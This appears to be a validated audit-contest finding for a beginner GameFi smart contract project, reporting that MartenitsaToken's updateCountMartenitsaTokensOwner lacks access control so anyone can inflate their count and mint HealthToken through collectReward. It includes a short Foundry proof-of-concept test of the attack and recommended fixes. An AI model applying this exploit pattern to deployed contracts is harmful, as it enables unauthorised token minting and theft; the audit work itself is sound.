Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can update the count of Marenitsa owned and use it to mint an arbitrary amount of HealthToken

Summary

In MartenitsaToken::updateCountMartenitsaTokensOwner there is no check on who can execute that function.

Impact

A malicious user can arbitrarly increase his count of Marenitsa and then call the MartenitsaMarketplace::collectReward function to mint an arbitrary amount of HealthToken.

Proof of Concept:
Add this test in MartenitsaMarketplace.t.sol:

Proof Of Code
function testCanChangeCountAndCollectAnyAmountOfHelthToken() public eligibleForReward {
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(attacker) == 10 ** 18);
}

Tools Used

Foundry

Recommendations

One of those two:

  • Make the function updateCountMartenitsaTokensOwner callable only by MartenitsaMarketplace.

  • Remove the custom counter and use balanceOf from the ERC721 contract of openzeppelin

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.